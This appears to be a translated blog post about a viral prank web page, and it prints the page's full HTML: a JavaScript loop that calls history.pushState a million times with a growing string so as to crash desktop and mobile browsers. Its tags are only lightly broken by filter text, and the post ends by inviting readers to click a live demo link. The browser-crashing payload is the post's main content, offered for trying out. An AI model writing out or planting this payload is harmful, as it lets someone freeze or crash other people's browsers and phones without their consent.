Причината за инцидента е следната – чуждестранен приятел от Cyber Security публикува такъв туит в Twitter:
Този човек твърди, че ако използваш горния 12-редов код на Javascrip{filter}t, можеш да сринеш браузърите Firefox, Chrome, Safari, а също така да накараш iPhone да се рестартира и да се срине Android телефонът!
Пълният HTML код е следният:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Копирай код
Ако сте потребител на компютър, след като кликнете на линка, паметта на процесора на компютъра е много вероятно да скочи до момента, в който браузърът се срине и замръзне...
Ако сте мобилен потребител (Android, iPhone), браузърът ви ще се срине след като кликнете на линка! Кликването върху линка в Weibo и WeChat също ще се срине.
Защо се случва това? В тази връзка намерих отговор от бог на име "Xiaomi" в Жиху:
history.pushstate() е API, въведен от HTML5, pushState добавя определен URL към историята на браузъра и съхранява текущата точка на историята. Когато i<100000, общият брой се записва в историята на браузъра циклично и ако се повтаря твърде често, браузърът няма да може да го понесе и естествено ще се срине.
Е, както и да е, дори не мога да измисля "здравей, свят", така че изобщо не го разбирам... С две думи, това е точно както трябва да взриви небето!
Ако искате да го опитате, моля, кликнете тук: http://www.itsvse.com/demo.html
|